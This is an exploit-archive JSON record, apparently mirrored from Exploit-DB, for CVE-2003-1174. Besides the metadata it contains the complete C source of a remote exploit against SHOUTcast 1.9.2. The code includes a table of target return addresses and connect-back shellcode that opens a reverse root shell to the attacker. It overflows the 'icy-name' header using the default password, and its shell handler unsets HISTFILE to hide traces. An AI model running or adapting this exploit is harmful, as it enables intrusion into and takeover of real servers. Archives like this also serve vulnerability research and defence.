{"exploit":{"id":"EDB-23329","name":"Nullsoft SHOUTcast 1.9.2 - 'icy-name/icy-url' Memory Corruption (2)","description":"Nullsoft SHOUTcast 1.9.2 - 'icy-name/icy-url' Memory Corruption (2)","cves":["CVE-2003-1174"],"author":"exworm","published":"2003-11-03","platform":"windows","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/23329","path":"exploits/windows/remote/23329.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-23329.c","vulnerabilities":[{"id":"CVE-2003-1174","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in NullSoft Shoutcast Server 1.9.2 allows local users to cause a denial of service via (1) icy-name followed by a long server name or (2) icy-url followed by a long URL.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-1174","cvss":{"version":"2.0","baseScore":2.1,"severity":"low","vectorString":"AV:L/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-1174"},"updatedAt":"2024-08-08T02:19:46.034Z","retrievedAt":"2026-11-26T23:34:41.515Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-23329.png?v=2","url":"https://exploitbin.com/exploits/EDB-23329","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-23329/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-23329/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2003/https://www.securityfocus.com/bid/8954/info\n\nNullsoft SHOUTcast Server is prone to a memory corruption vulnerability that may lead to denial of service attacks or code execution. This is due to insufficient bounds checking of server commands supplied by authenticated users, specifically icy-name and icy-url.\n\nThis issue was reported in SHOUTcast 1.9.2 on Windows platforms. Other versions and platforms may also be affected.\n\n/*           _ ________            _____                        ______\n *\n * oseen_shoucast.c( public version) - SHOUTcast v1.9.2 remote exploit   / \\  / \"fuck mm\"\n * by exworm of oseen (www.oseen.org)             \\/\n *                                         con back exploit\n * bash-2.05b# ./oseen_shoutcast -t 2 -h XXX.XXX.XXX.XXX\n * SHOUTcast v1.9.2 remote exploit by exworm of 0seen\n * --------------------------------------------------(www.oseen.org)\n * [+] lisntener...\n * [+] Connected, sending code...\n * [+] Ret: 0x0806d06b\n * [+] Eax: 0x0806d0e3\n * [+] ownedbyOseen!\n * -----------------------------------------------------------\n * Linux darkstar 2.4.20 #2 Mon Mar 17 22:02:15 PST 2003 i686 unknown\n * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10\n *(wheel),11(floppy)\n *\n *\n */\n\n#include <stdio.h>\n#include <stdarg.h>\n#include <stdlib.h>\n#include <netdb.h>\n#include <net/if.h>\n#include <netinet/in.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <sys/ioctl.h>\n#include <sys/time.h>\n#include <netinet/in.h>\n#include <getopt.h>\n#include <unistd.h>\n#include <string.h>\n#include <arpa/inet.h>\n#include <errno.h>\n#include <linux/sockios.h>\n\n#define BUF 1024\n\n\nstruct {\n        char *distro;\n        char *type;\n        unsigned long ret;\n        unsigned long eax;\n\n} targets[] = { /* Thanks all #oseen ;) */\n        { \"Slackware 8.1  \", \"Shoutcast 1.9.2  \", 0x8091b28, 0x0806d0e3 },\n        { \"Slackware 9.0  \", \"Shoutcast 1.9.2\", 0x806d06b, 0x0806d0e3 },\n        { \"Slackware 9.1  \", \"Shoutcast 1.9.2  \", 0x080d1c78, 0x0806d0e3 },\n        { \"Redhat 7.2     \", \"Shoutcast 1.9.2\", 0x080d11e0, 0xbffff344 },\n        { \"Crash          \", \"(All platforms)  \", 0xBADe5Dee, 0x0806d0e3 },\n};\nchar linux_connect_back[] =  /* connect back 45295 */\n        \"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x51\\xb1\"\n        \"\\x06\\x51\\xb1\\x01\\x51\\xb1\\x02\\x51\"\n        \"\\x89\\xe1\\xb3\\x01\\xb0\\x66\\xcd\\x80\"\n        \"\\x89\\xc2\\x31\\xc0\\x31\\xc9\\x51\\x51\"\n        \"\\x68\\x41\\x42\\x43\\x44\\x66\\x68\\xb0\"\n        \"\\xef\\xb1\\x02\\x66\\x51\\x89\\xe7\\xb3\"\n        \"\\x10\\x53\\x57\\x52\\x89\\xe1\\xb3\\x03\"\n        \"\\xb0\\x66\\xcd\\x80\\x31\\xc9\\x39\\xc1\"\n        \"\\x74\\x06\\x31\\xc0\\xb0\\x01\\xcd\\x80\"\n        \"\\x31\\xc0\\xb0\\x3f\\x89\\xd3\\xcd\\x80\"\n        \"\\x31\\xc0\\xb0\\x3f\\x89\\xd3\\xb1\\x01\"\n        \"\\xcd\\x80\\x31\\xc0\\xb0\\x3f\\x89\\xd3\"\n        \"\\xb1\\x02\\xcd\\x80\\x31\\xc0\\x31\\xd2\"\n        \"\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\"\n        \"\\x2f\\x62\\x69\\x89\\xe3\\x50\\x53\\x89\"\n        \"\\xe1\\xb0\\x0b\\xcd\\x80\\x31\\xc0\\xb0\"\n        \"\\x01\\xcd\\x80\";\nint sock;\nvoid usage();\nvoid shell();\n\nvoid\nusage(char *prog)\n{\n\n         fprintf(stderr,\"Usage: %s -t [-pah]\\n\",prog);\n        fprintf(stderr,\"-t version       Linux version.\\n\");\n        fprintf(stderr,\"-h target       The host to attack.\\n\");\n         fprintf(stderr,\"-a password     Default password is \\\"changeme\\\".\\n\");\n        fprintf(stderr,\"-p port         Default port is 8001.\\n\\n\");\n}\n\nint\nopenhost(char *host,int port)\n{\n        struct sockaddr_in addr;\n        struct hostent *he;\n\n        he=gethostbyname(host);\n\n        if (he==NULL) return -1;\n        sock=socket(AF_INET, SOCK_STREAM, getprotobyname(\"tcp\")->p_proto);\n        if (sock==-1) return -1;\n\n        memcpy(&addr.sin_addr, he->h_addr, he->h_length);\n\n        addr.sin_family=AF_INET;\n        addr.sin_port=htons(port);\n\n        if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1)\n        sock=-1;\n        return sock;\n}\n\n\nvoid\nshell(int sock)\n{\n        fd_set  fd_read;\n        char buff[1024], *cmd=\"unset HISTFILE; /bin/uname -a;/usr/bin/id; echo '*** oseen are chinese...'\\n\";\n        int n;\n\n        FD_ZERO(&fd_read);\n        FD_SET(sock, &fd_read);\n        FD_SET(0, &fd_read);\n\n        send(sock, cmd, strlen(cmd), 0);\n\n        while(1) {\n                FD_SET(sock, &fd_read);\n                FD_SET(0,    &fd_read);\n\n                if (select(sock+1, &fd_read, NULL, NULL, NULL) < 0) break;\n\n                if (FD_ISSET(sock, &fd_read)) {\n                        if ((n = recv(sock, buff, sizeof(buff), 0)) < 0){\n                                fprintf(stderr, \"[+] EOF\\n\");\n                                exit(2);\n                        }\n\n                        if (write(1, buff, n) <0) break;\n                }\n\n                if (FD_ISSET(0, &fd_read)) {\n                        if ((n = read(0, buff, sizeof(buff))) < 0){\n                                fprintf(stderr,\"[+] EOF\\n\");\n                                exit(2);\n                        }\n\n                        if (send(sock, buff, n, 0) < 0) break;\n                }\n        }\n\n        fprintf(stderr,\"[+] Connection lost.\\n\\n\");\n        exit(0);\n}\n\nunsigned char\n*get_my_ip_addr(int sockfd, struct ifreq *ifr)\n{\n        struct sockaddr_in sin;\n        char *b = (char *) malloc(4);\n\n        if (ioctl(sockfd ,SIOCGIFADDR,ifr) < 0) {\n                fprintf(stderr, \"Unable to get the local IP Address, use -d.\\n\");\n                exit(1);\n        }\n\n        memcpy(&sin, &ifr->ifr_addr, sizeof(struct sockaddr_in));\n        memcpy(b, (char *) &sin.sin_addr.s_addr, 4);\n        return b;\n}\n\n\nint\nmain (int argc,char *argv[])\n{\n        char buf1[512];\n        char buf2[512];\n        char host[256];\n        char pass[256]=\"changeme\";\n        char data;\n\n\n\n        int  type= 0;\n        int c=0;\n        int port=8001;\n        char device[256] = \"ppp0\";\n        unsigned char *ptr;\n\n        struct hostent *hp;\n        struct sockaddr_in sin_listener;\n        struct ifreq ifr;\n        struct timeval timeout;\n\n        fd_set fdread;\n\n        int delay       = 12;\n        int i           = 0;\n        int mode        = 0;\n        int local_port  = 0;\n        int opt         = 0;\n        int ret         = 0;\n        int sin_len     = sizeof (struct sockaddr_in);\n        int sock        = 0;\n        int sock2       = 0;\n        int sockd       = 0;\n        int listener    = 0;\n        int time_out    = 4;\n        int tmp         = 0;\n\n        srand(getpid());\n\n        fprintf(stdout,\"SHOUTcast v1.9.2 remote exploit by exworm of 0seen\\n\");\n        fprintf(stdout,\"--------------------------------------------------(www.oseen.org)\\n\");\n\n        while((c=getopt(argc,argv,\"h:p:a:t:\")) !=EOF)\n        {\n                switch(c)\n                {\n                        case 'p':\n                                port=atoi(optarg);\n                                if ((port <= 0) || (port > 65535)) {\n                                        fprintf(stderr,\"Invalid port.\\n\\n\");\n                                        exit(1);\n                                }\n                                break;\n                        case 'a':\n                                memset(pass,0x0,sizeof(pass));\n                                strncpy(pass,optarg,sizeof(pass) - 1);\n                                break;\n                        case 't':\n                                type = atoi(optarg);\n                                if (type == 0 || type > sizeof(targets) / 28) {\n                                        for(i = 0; i < sizeof(targets) / 28; i++)\n                                        fprintf(stderr, \"%02d. %s - %s      [0x%08x - 0x%08x]\\n\",\n                                                i + 1, targets[i].distro, targets[i].type, targets[i].ret, targets[i].eax);\n                                        return -1;\n                                }\n                                break;\n                        case 'h':\n                                memset(host,0x0,sizeof(host));\n                                strncpy(host,optarg,sizeof(host) - 1);\n                                break;\n\n                        default:\n                                usage(argv[0]);\n                                exit(1);\n                                break;\n                }\n        }\n\n        timeout.tv_sec = time_out;\n        timeout.tv_usec = 0;\n\n        if (strlen(host) == 0) {\n                usage(argv[0]);\n                exit(1);\n        }\n        sock=openhost(host, 8001);\n\n        if (sock==-1) {\n                fprintf(stderr,\"- Unable to connect.\\n\\n\");\n                exit(1);\n        }\n\n        strncpy(ifr.ifr_name, device, 15);\n\n        if ((sockd = socket(AF_INET, SOCK_DGRAM, 17)) < 0) {\n                fprintf(stderr, \"socket() error.\\n\");\n                return -1;\n        }\n\n        if ((listener = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {\n                fprintf(stderr, \"socket() error.\\n\");\n                return -1;\n        }\n\n        ptr = get_my_ip_addr(sockd, &ifr);\n       memcpy(&sin_listener.sin_addr.s_addr, ptr, 4);\n\n        sin_listener.sin_family = AF_INET;\n        memset(&sin_listener.sin_zero, 0x00, 8);\n\n        while(1) {\n                local_port = local_port = 45295;\n                sin_listener.sin_port = htons(local_port);\n                if (!bind(listener, (struct sockaddr *) &sin_listener, sin_len)) break;\n        }\n\n\n\n        listen(listener, 1);\n        fprintf(stdout, \"[+] lisntener...\\n\");\n\n        linux_connect_back[33] = (unsigned int) *(ptr + 0);\n        linux_connect_back[34] = (unsigned int) *(ptr + 1);\n        linux_connect_back[35] = (unsigned int) *(ptr + 2);\n        linux_connect_back[36] = (unsigned int) *(ptr + 3);\n\n\n        write(sock, pass, strlen(pass));\n        write(sock, \"\\n\", 1);\n\n        memset(buf2,  0x0, sizeof(buf2));\n        memset(buf1, 0x90, sizeof(buf1));\n\n        for(i=0;i < strlen(linux_connect_back); i++) buf1[i+50] = linux_connect_back[i];\n\n        buf1[191] = (targets[type - 1].ret & 0x000000ff);\n        buf1[192] = (targets[type - 1].ret & 0x0000ff00) >> 8;\n        buf1[193] = (targets[type - 1].ret & 0x00ff0000) >> 16;\n        buf1[194] = (targets[type - 1].ret & 0xff000000) >> 24;\n\n        buf1[199] = (targets[type - 1].eax & 0x000000ff);\n        buf1[200] = (targets[type - 1].eax & 0x0000ff00) >> 8;\n        buf1[201] = (targets[type - 1].eax & 0x00ff0000) >> 16;\n        buf1[202] = (targets[type - 1].eax & 0xff000000) >> 24;\n\n        buf1[308] = (targets[type - 1].eax & 0x000000ff);\n        buf1[309] = (targets[type - 1].eax & 0x0000ff00) >> 8;\n        buf1[310] = (targets[type - 1].eax & 0x00ff0000) >> 16;\n        buf1[311] = (targets[type - 1].eax & 0xff000000) >> 24;\n\n        sprintf(buf2,   \"icy-name:%s\\r\\n\", buf1);\n\n        fprintf(stdout, \"Connected, sending code...\\n\");\n        fprintf(stdout, \"[+] Ret: 0x%08x\\n\", targets[type - 1].ret);\n        fprintf(stdout, \"[+] Eax: 0x%08x\\n\", targets[type - 1].eax);\n        while(1) {\n                write(sock, buf2, strlen(buf2));\n                sleep(2);\n                FD_ZERO(&fdread);\n                FD_SET(listener, &fdread);\n\n                timeout.tv_sec = time_out;\n                timeout.tv_usec = 0;\n\n                while(1) {\n\n                        ret = select(FD_SETSIZE, &fdread, NULL, NULL, &timeout);\n\n                        if (ret < 0) {\n                                close(sock);\n                                close(listener);\n                                fprintf(stderr, \"select() error.\\n\");\n                                return -1;\n                        }\n\n                        if (ret == 0) {\n                                fprintf(stderr, \"[+] Failed, waiting %d seconds.\\n\"\n                                                \"[+] Use ctrl-c to abort.\\n\", delay);\n                                sleep(delay);\n                                break;\n                        }\n\n                        if(FD_ISSET(listener, &fdread)) {\n                                sock2 = accept(listener, (struct sockaddr *)&sin_listener, &sin_len);\n                                close(sock);\n                                close(listener);\n\n                                fprintf(stderr, \"[+] ownedbyOseen!\\n\"\n                                                \"-----------------------------------------------------------\\n\");\n                                shell(sock2);\n                                close(sock2);\n                                return 0;\n                        }\n                }\n\n        }\n\n        fprintf(stderr, \"[+] Exploit failed.\\n\");\n        close(listener);\n        close(sock);\n        return 0;\n\n}","sha256":"b2ee0294387254c9543fc5ccdd99c337cf9c60096265ebef82d6e60cde7141f4","bytes":12627,"fetchedAt":"2026-11-27T01:11:55.470Z","encoding":"utf-8 (display only; download retains original bytes)"}